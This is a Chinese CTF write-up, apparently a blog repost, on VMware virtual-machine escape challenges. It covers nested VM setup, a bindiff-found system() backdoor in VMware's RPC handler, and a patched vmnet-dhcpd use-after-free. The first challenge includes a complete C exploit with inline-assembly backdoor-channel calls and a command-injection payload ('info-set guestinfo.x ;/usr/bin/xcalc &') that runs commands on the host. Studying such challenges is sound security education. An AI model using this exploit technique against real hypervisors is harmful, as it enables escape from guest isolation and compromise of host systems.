由于这是在 ubuntu 18.04.1 虚拟机中安装 vmware 然后再在其中安装 ubuntu 18.04.1 虚拟机,存在虚拟机嵌套,最好使用带有英特尔的 CPU 的电脑进行。

在装好 ubuntu 18.04.1 虚拟之后将下载的 vmware 安装脚本 VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 复制到虚拟机中,然后允许该脚本安装 vmware。

sudo chmod +x ./VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 
sudo ./VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle

根据题目要求最后我们还要用有漏洞的 vmx_patched 替换原来的 vmx 。

sudo cp vmware-vmx_patched /usr/lib/vmware/bin/vmware-vmx

另外启动虚拟机最好在 show applications 中点击 vmware 图标启动而不是运行下面的命令启动,因为直接运行下面的命令是直接启动 vmware 用户进程,缺少安装驱动的过程,而点击 vmware 图标是运行一个完整的 vmware 启动脚本。

sudo /usr/lib/vmware/bin/vmware

在这里插入图片描述

安装虚拟机

在安装好的 vmware 中安装 ubuntu 18.04.1 。

虚拟机的处理器我勾选了如下选项,否则启动虚拟机的时候会卡在启动界面上。
在这里插入图片描述
最终成功安装虚拟机。
在这里插入图片描述
安装 net-tools 方便查看虚拟机的网络信息。

sudo apt install net-tools

安装 ssh-server ,因为之后的调试上传都要通过 ssh 进行。如果在调试的时候使用 vmware 自身的拖拽等功能可能会触发断点导致光标卡在被调试的虚拟机中无法取出。

sudo apt install openssh-server

我的被调试虚拟机的 ip 为 172.16.74.129 因此有下面两个常用命令:

获取目标虚拟机 shell 。

ssh sky123@172.16.74.129

上传 exp 至目标虚拟机:

scp exp.c sky123@172.16.74.129:~

编译 open-vm-tools

这个与环境搭建无关,仅记录编译 open-vm-tools 的过程。

编译 open-vm-tools 过程如下:

git clone  
cd open-vm-tools/open-vm-tools
autoreconf -i
./configure
make

不过运行 configure 会发现缺少很多依赖。

sudo apt-get install autoconf automake libtool

sudo apt-get install libpam0g-dev

sudo apt-get install libssl-dev

sudo apt-get install libxml2-dev

sudo apt-get install libxmlsec1-dev

sudo apt-get install libx11-dev

sudo apt-get install libxext-dev

sudo apt-get install libxinerama-dev

sudo apt-get install libxi-dev

sudo apt-get install libxrender-dev

sudo apt-get install libxrandr-dev

sudo apt-get install libxtst-dev

sudo apt-get install libgdk-pixbuf2.0-dev

sudo apt-get install libgtk-3-dev

sudo apt-get install libgtkmm-3.0-dev


另外 libmspack 需要编译安装。

wget  
tar zxvf libmspack-0.10.1alpha.tar.gz
cd libmspack-0.10.1alpha
./configure
makes
udo make install

为了让 clion 能正确分析 open-vm-tools 项目,需要做如下配置:
在这里插入图片描述

#!/bin/sh
## GNU Autotools template, feel free to customize.
#
autoconf -i
./configure

例题:2019数字经济公测大赛-VMware逃逸

附件下载链接

环境搭建

宿主机操作系统:ubuntu 18.04.1
客户机操作系统:ubuntu 18.04.1
VMware 版本:VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle

这里我 VMware 下错版本了,我这里用到是 VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle ,不过影响不大,不想再重新搭环境了 。

漏洞分析 & 漏洞利用

bindiff 对比发现 sub_16E220 函数相似度比较低。
在这里插入图片描述

通过 bindiff 对比发现存在如下修改,明显是一个后门。
在这里插入图片描述
通过对这一部分代码的逆向分析,发现这一步分代码是处理 RPC 通信的代码,调试发现只要依次执行 info-set guestinfo.x xxxx 和 info-get guestinfo.x RPC 命令就可以执行到 case 4 。

    case 4:
      v29 = get_cannel(6, 7);
      v4 = v29;
      if ( !v29 )
        goto LABEL_62;
      if ( v29->state != 3 )
        goto LABEL_20;
      if ( v29->flag == 1 )
        goto LABEL_48;                          // stare=1 flag=0
      if ( !v29->buf )
        goto LABEL_90;
      if ( (get_data(3) & 1) == 0 )
      {
        v5 = v4;
        goto LABEL_81;
      }
      set_data(2, 0x20000);
      need = v4->need;
      data_1 = (int *)&v4->buf[v4->length - need];
      if ( (_DWORD)need == 2 )
      {
        set_data(3, *(unsigned __int16 *)data_1);
        tmp = v4->need - 2;
        v4->need = tmp;
      }
      else if ( (_DWORD)need == 3 )
      {
        system(v4->buf);
        tmp = v4->need - 3;
        v4->need = tmp;
      }
      else
      {
        if ( (_DWORD)need == 1 )
        {
          set_data(3, *(unsigned __int8 *)data_1);
          tmp = v4->need - 1;
        }
        else
        {
          set_data(3, *data_1);
          tmp = v4->need - 4;
        }
        v4->need = tmp;
      }
      if ( !tmp )
        v4->state = 4;LABEL_31:
      v9 = 0x10000;
      v4->time = get_time();
      goto LABEL_12;
      ...LABEL_12:
      set_data(1, v9);
      return 0LL;

其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。

另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。

通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 1,并且执行的命令就是这个字符串(前面拼接了一个字符 1)。
在这里插入图片描述
因此我们只需要让 info-set guestinfo.x 后面跟一个模 4 余 2 的命令就可以执行这条命令,例如 info-set guestinfo.x ;/usr/bin/xcalc & 。

exp

#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void byte_dump(char *desc, void *addr, int len) {
    uint8_t *buf8 = (unsigned char *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len; i += 16) {
        printf("  %04x", i);
        for (int j = 0; j < 16; j++) {
            i + j < len ? printf(" %02x", buf8[i + j]) : printf("   ");
        }
        printf("   ");
        for (int j = 0; j < 16 && j + i < len; j++) {
            printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
        }
        puts("");
    }
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0xc9435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}

void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}

void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}

void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        : "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}

typedef struct {
    int cookie1;
    int cookie2;
    int num;
} channel;

void run_cmd(char *cmd) {
    channel cannel;
    int res, len;
    channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
    if (!res) {
        puts("[-] fail to open channel.");
        exit(EXIT_FAILURE);
    }
    channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
    if (!res) {
        puts("[-] fail to set len");
        exit(EXIT_FAILURE);
    }
    channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd) + 0x10, cmd, &res);

    channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
    if (!res) {
        puts("[-] fail to recv data len");
        exit(EXIT_FAILURE);
    }
    printf("[*] recv len:%d\n", len);

    char *data = malloc(len + 0x10);
    memset(data, 0, len + 0x10);
    for (int i = 0; i < len + 0x10; i += 4) {
        channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
    }

    byte_dump("recv data", data, len + 0x10);

    channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to recv finish");
        exit(EXIT_FAILURE);
    }

    channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
    if (!res) {
        puts("[-] fail to close channel");
        exit(EXIT_FAILURE);
    }
}

int main() {
    run_cmd("info-set guestinfo.x ;/usr/bin/xcalc &");
    run_cmd("info-get guestinfo.x");
    return 0;
}



成功执行命令。

在这里插入图片描述

例题: 2021D^3CTF Real_VMPWN

附件下载链接

环境搭建

宿主机操作系统:ubuntu 18.04
客户机操作系统:ubuntu 18.04
VMware 版本:VMware-Workstation-Full-16.1.0-17198959.x86_64.bundle

漏洞分析

通过 bindiff 比对发现有三处修改:
在这里插入图片描述
第一处位于 0x1BDA6,去掉了对 r14 和 r15 是否相等的检查。
在这里插入图片描述
第二处位于 0x1C3C5,同样去掉了对 r14 和 r15 是否相等的检查。
在这里插入图片描述

第三处位于 0x247BF,去掉了对栈中变量的初始化,猜测这里提供地址泄露。
在这里插入图片描述

运行这个 dhcp 组件发现一个网站链接。

$ ./vmnet-dhcpd 
Internet Software Consortium DHCP Server 2.0
Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
All rights reserved.

Please contribute if you find this software useful.
For info, please visit http://www.isc.org/dhcp-contrib.html

Can't open /etc/dhcpd.conf: No such file or directory
exiting.

通过这个链接我找到了比较接近的源码。有了源码之后可以向 IDA 中添加结构体,这样就可以比较容易的分析程序了。

这里我们先分析没有被 patch 的程序。

首先是前面的一个判断。

  flags = lease->flags;
  LODWORD(v4) = flags & 1;
  if ( (flags & 1) != 0 )
    return v4;

显然这个对应源码为

#       define STATIC_LEASE		1

	/* Static leases are not currently kept in the database... */
	if (lease -> flags & STATIC_LEASE)
		return 1;

之后是一个大的 if 判断。

comp1 = comp;
  if ( (flags & 0x10) == 0 && comp->ends > timer )// !(lease -> flags & ABANDONED_LEASE) && comp -> ends > cur_time 
  {
    comp_uid = comp->uid;
    if ( comp_uid )
    {
      lease_uid = lease->uid;
      if ( !lease_uid )
        goto LABEL_8;
      uid_len = comp->uid_len;                  // (comp -> uid && lease -> uid)
      if ( uid_len == lease->uid_len )
      {
        comp = (lease *)comp->uid;
        v49 = uid_len;
        enter_uid = memcmp(comp, lease->uid, uid_len);
        v10 = v49;
        if ( !enter_uid )                       // comp -> uid_len == lease -> uid_len && (memcmp (comp -> uid, lease -> uid, comp -> uid_len) == 0)
        {
          if ( comp_uid == lease_uid )
            goto LABEL_11;
          goto LABEL_7;
        }
      }
    }
    else if ( *(_WORD *)&comp->hardware_addr.htype == *(_WORD *)&lease->hardware_addr.htype )// comp -> hardware_addr.htype == lease -> hardware_addr.htype
    {
      hlen = comp->hardware_addr.hlen;
      haddr = lease->hardware_addr.haddr;
      v32 = comp->hardware_addr.haddr;
      comp = (lease *)((char *)comp + 0xB2);
      v50 = hlen;
      v45 = memcmp(comp, lease->hardware_addr.haddr, hlen);
      v30 = v50;
      if ( !v45 )                               // memcmp (comp -> hardware_addr.haddr, lease -> hardware_addr.haddr, comp -> hardware_addr.hlen) == 0
      {
        if ( !comp1->hardware_addr.htype )
        {
          v13 = 1;
          enter_uid = 1;
          comp1->starts = lease->starts;
          uid = (lease *)lease->uid;
          if ( uid )
            goto LABEL_16;
          goto LABEL_81;
        }
        enter_uid = 1;
        goto LABEL_60;
      }
    }
    LODWORD(v4) = 0;
    v29 = piaddr(comp);
    warn("Lease conflict at %s", v29);
    return v4;
  }


从打印的信息可以确定这里对应于源码的如下片段。这里的判断条件比较复杂,需要仔细分析。

#	define ABANDONED_LEASE		16

	if (!(lease -> flags & ABANDONED_LEASE) &&
	    comp -> ends > cur_time &&
	    (((comp -> uid && lease -> uid) &&
	      (comp -> uid_len != lease -> uid_len ||
	       memcmp (comp -> uid, lease -> uid, comp -> uid_len))) ||
	     (!comp -> uid &&
	      ((comp -> hardware_addr.htype !=
		lease -> hardware_addr.htype) ||
	       (comp -> hardware_addr.hlen !=
		lease -> hardware_addr.hlen) ||
	       memcmp (comp -> hardware_addr.haddr,
		       lease -> hardware_addr.haddr,
		       comp -> hardware_addr.hlen))))) {
		warn ("Lease conflict at %s",
		      piaddr (comp -> ip_addr));
		return 0;
	}

结合源码可知, ida 反编译的第一个 if 判断逻辑如下。

if(!(lease -> flags & ABANDONED_LEASE) && comp -> ends > cur_time) {
	if(comp -> uid) {
		if(!lease -> uid) {
			goto LABEL_8;
		}
		if(comp -> uid_len == lease -> uid_len) {
			if(!memcmp (comp -> uid, lease -> uid, comp -> uid_len)) {
				// 已经不满足 if 条件
				if(comp -> uid == lease -> uid){
					goto LABEL_11;
				}
				goto LABEL_7;
			}
		}
	} else if(comp -> hardware_addr.htype != lease -> hardware_addr.htype) {
		if(!memcmp (comp -> hardware_addr.haddr, lease -> hardware_addr.haddr, comp -> hardware_addr.hlen)) {
			// 已经不满足 if 条件
			enter_uid = 1
			if(!comp -> hardware_addr.htype) {
				if(lease -> uid) {
					goto LABEL_16;
				}
				goto LABEL_81;
			}
			goto LABEL_60;
		}
	}
	warn ("Lease conflict at %s", piaddr (comp -> ip_addr));
	return 0;


0x1C3C5 的 patch 位于上面代码的 comp -> uid == lease -> uid 判断处,经过 patch 之后没有这个判断直接跳转到 LABEL_7 。

紧接着这个 if 判断之后又有两个分支,结合源码分析如下:

if (comp -> uid) {
	if(comp->uid != lease->uid) {
		if(!lease->uid) {
			goto LABEL_8;
		}
LABEL_7:
		if(comp -> uid_len == lease -> uid_len) {
			if(!memcmp (comp -> uid, lease -> uid, comp -> uid_len) && comp -> uid_len <= sizeof (lease -> uid_buf)) {
				goto LABEL_11;
			}
		}
LABEL_8:
		uid_hash_delete (comp);
		enter_uid = 1;
		if (comp -> uid != &comp -> uid_buf [0]) {
			free (comp -> uid);
			comp -> uid_max = 0;
			comp -> uid_len = 0;
		}
		comp -> uid = (unsigned char *)0;
	}
	enter_uid = 0;
	goto LABEL_11;
} else {
	enter_uid = 1;
}

0x1BDA6 地址处的 patch 去掉了 comp->uid != lease->uid 判断。

通过上述分析我们发现,如果出现 comp->uid 等于 lease->uid 的情况,那么可以执行到 LABEL_8 将 comp -> uid 释放,之后如果使用 lease->uid 就会造成 UAF 。

如果我们让 comp -> uid_len > sizeof (lease -> uid_buf) ,在跳转到到 LABEL_11 会从0x1C3C5 的 patch 跳转到 LABEL_7 ,之后执行到 LABEL_8 释放 comp -> uid 并将 uid 置 0 之后跳转到 LABEL_11 。

在 LABEL_11 中会将 comp->uid 赋值为 lease->uid 。

  uid = (lease *)lease->uid;
  ...
  else
  {
    if ( uid == (lease *)lease->uid_buf )
      error("corrupt lease uid.");
    comp1->uid = (unsigned __int8 *)uid;
    comp1->uid_max = lease->uid_max;
    lease->uid = 0LL;
    lease->uid_max = 0;
  }

在函数的最后会调用 write_lease 。

  if ( commit && (unsigned int)write_lease(comp1) )
    return commit_leases() != 0;

在 write_lease 会打印 uid 中的数据,出现 UAF 。


  if ( lease->uid_len )

  {

    *v2 = 0;

    fprintf(unk_30ECC8, "\n\tuid %2.2x", *lease->uid);

    v8 -= (*v2 == 0) - 1;

    if ( lease->uid_len > 1 )

    {

      v23 = 1;

      do

      {

        *v2 = 0;

        fprintf(unk_30ECC8, ":%2.2x", lease->uid[v23]);

        v8 -= (*v2 == 0) - 1;

        ++v23;

      }

      while ( lease->uid_len > v23 );

    }

    IO_putc(';', unk_30ECC8);

  }




推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

本文链接:https://hqyman.cn/post/6306.html 非本站原创文章欢迎转载,原创文章需保留本站地址!

分享到:
打赏





休息一下~~


« 上一篇 下一篇 »

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

请先 登录 再评论,若不是会员请先 注册

您的IP地址是: